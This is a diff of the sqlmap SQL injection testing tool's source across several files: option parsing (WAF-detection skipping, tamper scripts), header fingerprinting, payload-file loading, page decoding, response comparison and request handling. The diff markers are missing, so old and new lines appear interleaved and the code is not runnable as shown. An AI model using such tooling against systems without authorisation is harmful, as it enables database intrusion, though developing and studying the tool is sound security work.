help="Conduct thorough tests only if positive heuristic(s)")
miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true",
help="Skip heuristic detection of WAF/IPS protection")
miscellaneous.add_option("--smart", dest="smart", action="store_true",
help="Conduct thorough tests only if positive heuristic(s)")
miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true",
help="Prompt for an interactive sqlmap shell")
help="Prompt for an interactive sqlmap shell")
miscellaneous.add_option("--tmp-dir", dest="tmpDir",
help="Local directory for storing temporary files")
help="Local directory for storing temporary files")
miscellaneous.add_option("--web-root", dest="webRoot",
help="Web server document root directory (e.g. \"/var/www\")")
help="Web server document root directory (e.g. \"/var/www\")")
miscellaneous.add_option("--wizard", dest="wizard",
action="store_true",
help="Simple wizard interface for beginner users")
miscellaneous.add_option("--wizard", dest="wizard", action="store_true",
help="Simple wizard interface for beginner users")
# Hidden and/or experimental options
parser.add_option("--dummy", dest="dummy", action="store_true",
@@ -791,6 +689,9 @@ def cmdLineParser(argv=None):
parser.add_option("--force-dns", dest="forceDns", action="store_true",
help=SUPPRESS_HELP)
parser.add_option("--force-pivoting", dest="forcePivoting", action="store_true",
help=SUPPRESS_HELP)
parser.add_option("--force-threads", dest="forceThreads", action="store_true",
help=SUPPRESS_HELP)
@@ -852,6 +753,7 @@ def cmdLineParser(argv=None):
prompt = False
advancedHelp = True
extraHeaders = []
tamperIndex = None
# Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
for arg in argv:
@@ -909,7 +811,7 @@ def cmdLineParser(argv=None):
for arg in shlex.split(command):
argv.append(getUnicode(arg, encoding=sys.stdin.encoding))
except ValueError, ex:
raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex.message
raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % ex.message)
for i in xrange(len(argv)):
if argv[i] == "-hh":
@@ -923,6 +825,12 @@ def cmdLineParser(argv=None):
elif re.search(r"\A-\w=.+", argv[i]):
dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
raise SystemExit
elif argv[i].startswith("--tamper"):
if tamperIndex is None:
tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
else:
argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
argv[i] = ""
elif argv[i] == "-H":
if i + 1 < len(argv):
extraHeaders.append(argv[i + 1])
@@ -976,11 +884,9 @@ def cmdLineParser(argv=None):
if args.dummy:
args.url = args.url or DUMMY_URL
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, \
args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, \
args.purgeOutput, args.sitemapUrl)):
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), "
errMsg += "use -h for basic or -hh for advanced help\n"
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.sitemapUrl, args.listTampers)):
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge or --dependencies). "
errMsg += "Use -h for basic and -hh for advanced help\n"
parser.error(errMsg)
return args

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -13,7 +13,6 @@ from lib.core.data import kb
from lib.core.data import paths
from lib.parse.handler import FingerprintHandler
def headersParser(headers):
"""
This function calls a class that parses the input HTTP headers to
@@ -24,18 +23,16 @@ def headersParser(headers):
if not kb.headerPaths:
kb.headerPaths = {
"microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"),
"server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
"servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"),
"set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"),
"x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
"x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"),
"server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
"servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"),
"set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"),
"x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
"x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"),
}
for header in itertools.ifilter(lambda x: x in kb.headerPaths, headers):
for header in itertools.ifilter(lambda _: _ in kb.headerPaths, headers):
value = headers[header]
xmlfile = kb.headerPaths[header]
handler = FingerprintHandler(value, kb.headersFp)
parseXmlFile(xmlfile, handler)
parseXmlFile(paths.GENERIC_XML, handler)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -9,6 +9,7 @@ import re
from xml.sax.handler import ContentHandler
from lib.core.common import urldecode
from lib.core.common import parseXmlFile
from lib.core.data import kb
from lib.core.data import paths
@@ -26,6 +27,7 @@ class HTMLHandler(ContentHandler):
self._dbms = None
self._page = (page or "")
self._lower_page = self._page.lower()
self._urldecoded_page = urldecode(self._page)
self.dbms = None
@@ -47,7 +49,7 @@ class HTMLHandler(ContentHandler):
keywords = sorted(keywords, key=len)
kb.cache.regex[regexp] = keywords[-1].lower()
if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._page, re.I):
if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._urldecoded_page, re.I):
self.dbms = self._dbms
self._markAsErrorPage()

View File

@@ -1,11 +1,12 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import os
import re
from xml.etree import ElementTree as et
@@ -17,6 +18,9 @@ from lib.core.exception import SqlmapInstallationException
from lib.core.settings import PAYLOAD_XML_FILES
def cleanupVals(text, tag):
if tag == "clause" and '-' in text:
text = re.sub(r"(\d+)-(\d+)", lambda match: ','.join(str(_) for _ in xrange(int(match.group(1)), int(match.group(2)) + 1)), text)
if tag in ("clause", "where"):
text = text.split(',')
@@ -36,7 +40,7 @@ def cleanupVals(text, tag):
return text
def parseXmlNode(node):
for element in node.getiterator('boundary'):
for element in node.getiterator("boundary"):
boundary = AttribDict()
for child in element.getchildren():
@@ -48,7 +52,7 @@ def parseXmlNode(node):
conf.boundaries.append(boundary)
for element in node.getiterator('test'):
for element in node.getiterator("test"):
test = AttribDict()
for child in element.getchildren():
@@ -78,7 +82,7 @@ def loadBoundaries():
errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg
raise SqlmapInstallationException(errMsg)
root = doc.getroot()
parseXmlNode(root)
@@ -93,7 +97,7 @@ def loadPayloads():
errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg
raise SqlmapInstallationException(errMsg)
root = doc.getroot()
parseXmlNode(root)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -32,7 +32,7 @@ def parseSitemap(url, retVal=None):
content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else ""
except httplib.InvalidURL:
errMsg = "invalid URL given for sitemap ('%s')" % url
raise SqlmapSyntaxException, errMsg
raise SqlmapSyntaxException(errMsg)
for match in re.finditer(r"<loc>\s*([^<]+)", content or ""):
if abortedFlag:

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -18,11 +18,13 @@ from lib.core.common import extractErrorMessage
from lib.core.common import extractRegexResult
from lib.core.common import getPublicTypeMembers
from lib.core.common import getUnicode
from lib.core.common import isListLike
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import resetCookieJar
from lib.core.common import singleTimeLogMessage
from lib.core.common import singleTimeWarnMessage
from lib.core.common import unArrayizeValue
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -33,7 +35,6 @@ from lib.core.enums import PLACE
from lib.core.exception import SqlmapCompressionException
from lib.core.settings import BLOCKED_IP_REGEX
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEV_EMAIL_ADDRESS
from lib.core.settings import EVENTVALIDATION_REGEX
from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
from lib.core.settings import META_CHARSET_REGEX
@@ -59,7 +60,7 @@ def forgeHeaders(items=None, base=None):
if items[_] is None:
del items[_]
headers = OrderedDict(base or conf.httpHeaders)
headers = OrderedDict(conf.httpHeaders if base is None else base)
headers.update(items.items())
class _str(str):
@@ -108,7 +109,9 @@ def forgeHeaders(items=None, base=None):
kb.mergeCookies = readInput(message, default='Y', boolean=True)
if kb.mergeCookies and kb.injection.place != PLACE.COOKIE:
_ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), x)
def _(value):
return re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), value)
headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE])
if PLACE.COOKIE in conf.parameters:
@@ -150,13 +153,16 @@ def checkCharEncoding(encoding, warn=True):
'utf8'
"""
if isListLike(encoding):
encoding = unArrayizeValue(encoding)
if encoding:
encoding = encoding.lower()
else:
return encoding
# Reference: http://www.destructor.de/charsets/index.htm
translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"}
translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"}
for delimiter in (';', ',', '('):
if delimiter in encoding:
@@ -213,10 +219,6 @@ def checkCharEncoding(encoding, warn=True):
try:
codecs.lookup(encoding.encode(UNICODE_ENCODING) if isinstance(encoding, unicode) else encoding)
except (LookupError, ValueError):
if warn:
warnMsg = "unknown web page charset '%s'. " % encoding
warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS
singleTimeLogMessage(warnMsg, logging.WARN, encoding)
encoding = None
if encoding:
@@ -254,12 +256,22 @@ def decodePage(page, contentEncoding, contentType):
if not page or (conf.nullConnection and len(page) < 2):
return getUnicode(page)
if isinstance(contentEncoding, basestring) and contentEncoding.lower() in ("gzip", "x-gzip", "deflate"):
if isinstance(contentEncoding, basestring) and contentEncoding:
contentEncoding = contentEncoding.lower()
else:
contentEncoding = ""
if isinstance(contentType, basestring) and contentType:
contentType = contentType.lower()
else:
contentType = ""
if contentEncoding in ("gzip", "x-gzip", "deflate"):
if not kb.pageCompress:
return None
try:
if contentEncoding.lower() == "deflate":
if contentEncoding == "deflate":
data = StringIO.StringIO(zlib.decompress(page, -15)) # Reference: http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations
else:
data = gzip.GzipFile("", "rb", 9, StringIO.StringIO(page))
@@ -284,13 +296,12 @@ def decodePage(page, contentEncoding, contentType):
httpCharset, metaCharset = None, None
# Reference: http://stackoverflow.com/questions/1020892/python-urllib2-read-to-unicode
if contentType and (contentType.find("charset=") != -1):
if contentType.find("charset=") != -1:
httpCharset = checkCharEncoding(contentType.split("charset=")[-1])
metaCharset = checkCharEncoding(extractRegexResult(META_CHARSET_REGEX, page))
if (any((httpCharset, metaCharset)) and not all((httpCharset, metaCharset)))\
or (httpCharset == metaCharset and all((httpCharset, metaCharset))):
if (any((httpCharset, metaCharset)) and not all((httpCharset, metaCharset))) or (httpCharset == metaCharset and all((httpCharset, metaCharset))):
kb.pageEncoding = httpCharset or metaCharset # Reference: http://bytes.com/topic/html-css/answers/154758-http-equiv-vs-true-header-has-precedence
debugMsg = "declared web page charset '%s'" % kb.pageEncoding
singleTimeLogMessage(debugMsg, logging.DEBUG, debugMsg)
@@ -300,7 +311,7 @@ def decodePage(page, contentEncoding, contentType):
kb.pageEncoding = conf.encoding
# can't do for all responses because we need to support binary files too
if contentType and not isinstance(page, unicode) and "text/" in contentType.lower():
if not isinstance(page, unicode) and "text/" in contentType:
if kb.heuristicMode:
kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
page = getUnicode(page, kb.pageEncoding)
@@ -318,7 +329,7 @@ def decodePage(page, contentEncoding, contentType):
kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
if kb.pageEncoding and kb.pageEncoding.lower() == "utf-8-sig":
if (kb.pageEncoding or "").lower() == "utf-8-sig":
kb.pageEncoding = "utf-8"
if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
page = page[3:]
@@ -374,7 +385,7 @@ def processResponse(page, responseHeaders, status=None):
continue
conf.paramDict[PLACE.POST][name] = value
conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % re.escape(value), conf.parameters[PLACE.POST])
conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % value.replace('\\', r'\\'), conf.parameters[PLACE.POST])
if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""):
kb.browserVerification = True

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -30,10 +30,8 @@ class SmartHTTPBasicAuthHandler(urllib2.HTTPBasicAuthHandler):
self.retried_count = 0
else:
if self.retried_count > 5:
raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed",
headers, None)
raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed", headers, None)
else:
self.retried_count += 1
return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed(
self, auth_header, host, req, headers)
return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed(self, auth_header, host, req, headers)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -49,7 +49,7 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
threadData = getCurrentThreadData()
if kb.testMode:
threadData.lastComparisonHeaders = listToStrValue([_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)]) if headers else ""
threadData.lastComparisonHeaders = listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else ""
threadData.lastComparisonPage = page
threadData.lastComparisonCode = code
@@ -57,7 +57,7 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
return None
if any((conf.string, conf.notString, conf.regexp)):
rawResponse = "%s%s" % (listToStrValue([_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)]) if headers else "", page)
rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page)
# String to match in page when the query is True and/or valid
if conf.string:
@@ -106,16 +106,21 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
# Preventing "Unicode equal comparison failed to convert both arguments to Unicode"
# (e.g. if one page is PDF and the other is HTML)
if isinstance(seqMatcher.a, str) and isinstance(page, unicode):
page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore')
page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")
elif isinstance(seqMatcher.a, unicode) and isinstance(page, str):
seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore')
seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")
if seqMatcher.a and page and seqMatcher.a == page:
ratio = 1
if any(_ is None for _ in (page, seqMatcher.a)):
return None
elif seqMatcher.a and page and seqMatcher.a == page:
ratio = 1.
elif kb.skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)):
ratio = 1.0 * len(seqMatcher.a) / len(page)
if ratio > 1:
ratio = 1. / ratio
if not page or not seqMatcher.a:
return float(seqMatcher.a == page)
else:
ratio = 1. * len(seqMatcher.a) / len(page)
if ratio > 1:
ratio = 1. / ratio
else:
seq1, seq2 = None, None
@@ -132,10 +137,14 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "")
seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "")
if kb.heavilyDynamic:
seq1 = seq1.split("\n")
seq2 = seq2.split("\n")
seqMatcher.set_seq1(seq1)
seqMatcher.set_seq2(seq2)
ratio = round(seqMatcher.quick_ratio(), 3)
ratio = round(seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio(), 3)
# If the url is stable and we did not set yet the match ratio and the
# current injected value changes the url page content

View File

@@ -1,14 +1,13 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import binascii
import compiler
import httplib
import json
import keyword
import logging
import re
@@ -17,6 +16,7 @@ import string
import struct
import time
import traceback
import urllib
import urllib2
import urlparse
@@ -34,6 +34,7 @@ from lib.core.common import calculateDeltaSeconds
from lib.core.common import checkSameHost
from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout
from lib.core.common import escapeJsonValue
from lib.core.common import evaluateCode
from lib.core.common import extractRegexResult
from lib.core.common import findMultipartPostBoundary
@@ -63,10 +64,12 @@ from lib.core.common import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.dicts import POST_HINT_CONTENT_TYPES
from lib.core.enums import ADJUST_TIME_DELAY
from lib.core.enums import AUTH_TYPE
from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import HINT
from lib.core.enums import HTTP_HEADER
from lib.core.enums import HTTPMETHOD
from lib.core.enums import NULLCONNECTION
@@ -86,6 +89,7 @@ from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
from lib.core.settings import DEFAULT_CONTENT_TYPE
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import DEFAULT_USER_AGENT
from lib.core.settings import EVALCODE_KEYWORD_SUFFIX
from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE
from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
@@ -96,6 +100,8 @@ from lib.core.settings import MAX_CONSECUTIVE_CONNECTION_ERRORS
from lib.core.settings import MAX_MURPHY_SLEEP_TIME
from lib.core.settings import META_REFRESH_REGEX
from lib.core.settings import MIN_TIME_RESPONSES
from lib.core.settings import MAX_TIME_RESPONSES
from lib.core.settings import IDS_WAF_CHECK_PAYLOAD
from lib.core.settings import IS_WIN
from lib.core.settings import LARGE_CHUNK_TRIM_MARKER
from lib.core.settings import PAYLOAD_DELIMITER
@@ -118,7 +124,6 @@ from lib.request.methodrequest import MethodRequest
from thirdparty.odict.odict import OrderedDict
from thirdparty.socks.socks import ProxyError
class Connect(object):
"""
This class defines methods used to perform HTTP requests
@@ -187,13 +192,13 @@ class Connect(object):
if not kb.dnsMode and conn:
headers = conn.info()
if headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate")\
or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()):
if kb.pageCompress and headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate") or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()):
retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE)
if len(retVal) == MAX_CONNECTION_TOTAL_SIZE:
warnMsg = "large compressed response detected. Disabling compression"
singleTimeWarnMessage(warnMsg)
kb.pageCompress = False
raise SqlmapCompressionException
else:
while True:
if not conn:
@@ -241,27 +246,27 @@ class Connect(object):
kb.requestCounter += 1
threadData.lastRequestUID = kb.requestCounter
url = kwargs.get("url", None) or conf.url
get = kwargs.get("get", None)
post = kwargs.get("post", None)
method = kwargs.get("method", None)
cookie = kwargs.get("cookie", None)
ua = kwargs.get("ua", None) or conf.agent
referer = kwargs.get("referer", None) or conf.referer
host = kwargs.get("host", None) or conf.host
direct_ = kwargs.get("direct", False)
multipart = kwargs.get("multipart", None)
silent = kwargs.get("silent", False)
raise404 = kwargs.get("raise404", True)
timeout = kwargs.get("timeout", None) or conf.timeout
auxHeaders = kwargs.get("auxHeaders", None)
response = kwargs.get("response", False)
url = kwargs.get("url", None) or conf.url
get = kwargs.get("get", None)
post = kwargs.get("post", None)
method = kwargs.get("method", None)
cookie = kwargs.get("cookie", None)
ua = kwargs.get("ua", None) or conf.agent
referer = kwargs.get("referer", None) or conf.referer
host = kwargs.get("host", None) or conf.host
direct_ = kwargs.get("direct", False)
multipart = kwargs.get("multipart", None)
silent = kwargs.get("silent", False)
raise404 = kwargs.get("raise404", True)
timeout = kwargs.get("timeout", None) or conf.timeout
auxHeaders = kwargs.get("auxHeaders", None)
response = kwargs.get("response", False)
ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout or conf.ignoreTimeouts
refreshing = kwargs.get("refreshing", False)
retrying = kwargs.get("retrying", False)
crawling = kwargs.get("crawling", False)
checking = kwargs.get("checking", False)
skipRead = kwargs.get("skipRead", False)
refreshing = kwargs.get("refreshing", False)
retrying = kwargs.get("retrying", False)
crawling = kwargs.get("crawling", False)
checking = kwargs.get("checking", False)
skipRead = kwargs.get("skipRead", False)
if multipart:
post = multipart
@@ -346,7 +351,7 @@ class Connect(object):
requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str
# Prepare HTTP headers
headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host})
headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {})
if HTTP_HEADER.COOKIE in headers:
cookie = headers[HTTP_HEADER.COOKIE]
@@ -357,14 +362,21 @@ class Connect(object):
if kb.proxyAuthHeader:
headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader
if not getHeader(headers, HTTP_HEADER.ACCEPT):
headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
if not conf.requestFile or not target:
if not getHeader(headers, HTTP_HEADER.HOST):
headers[HTTP_HEADER.HOST] = getHostHeader(url)
if not getHeader(headers, HTTP_HEADER.HOST) or not target:
headers[HTTP_HEADER.HOST] = getHostHeader(url)
if not getHeader(headers, HTTP_HEADER.ACCEPT):
headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity"
if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity"
elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
for header in headers:
if header.upper() == HTTP_HEADER.USER_AGENT.upper():
del headers[header]
break
if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE)
@@ -381,10 +393,6 @@ class Connect(object):
if conf.keepAlive:
headers[HTTP_HEADER.CONNECTION] = "keep-alive"
# Reset header values to original in case of provided request file
if target and conf.requestFile:
headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie})
if auxHeaders:
headers = forgeHeaders(auxHeaders, headers)
@@ -407,8 +415,10 @@ class Connect(object):
ws.close()
code = ws.status
status = httplib.responses[code]
class _(dict):
pass
responseHeaders = _(ws.getheaders())
responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]
@@ -428,8 +438,10 @@ class Connect(object):
method = unicodeencode(method)
req = MethodRequest(url, post, headers)
req.set_method(method)
else:
elif url is not None:
req = urllib2.Request(url, post, headers)
else:
return None, None, None
requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()])
@@ -479,23 +491,23 @@ class Connect(object):
# Get HTTP response
if hasattr(conn, "redurl"):
page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\
else Connect._connReadProxy(conn)) if not skipRead else None
page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
code = conn.redcode
else:
page = Connect._connReadProxy(conn) if not skipRead else None
if conn:
code = conn.code
code = (code or conn.code) if conn.code == kb.originalCode else conn.code # do not override redirection code (for comparison purposes)
responseHeaders = conn.info()
responseHeaders[URI_HTTP_HEADER] = conn.geturl()
kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
else:
code = None
responseHeaders = {}
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
status = getUnicode(conn.msg) if conn else None
status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None
kb.connErrorCounter = 0
@@ -578,13 +590,13 @@ class Connect(object):
page = page if isinstance(page, unicode) else getUnicode(page)
code = ex.code
status = getUnicode(ex.msg)
status = getSafeExString(ex)
kb.originalCode = kb.originalCode or code
threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1
responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status)
responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status)
if responseHeaders:
logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
@@ -642,15 +654,8 @@ class Connect(object):
elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg:
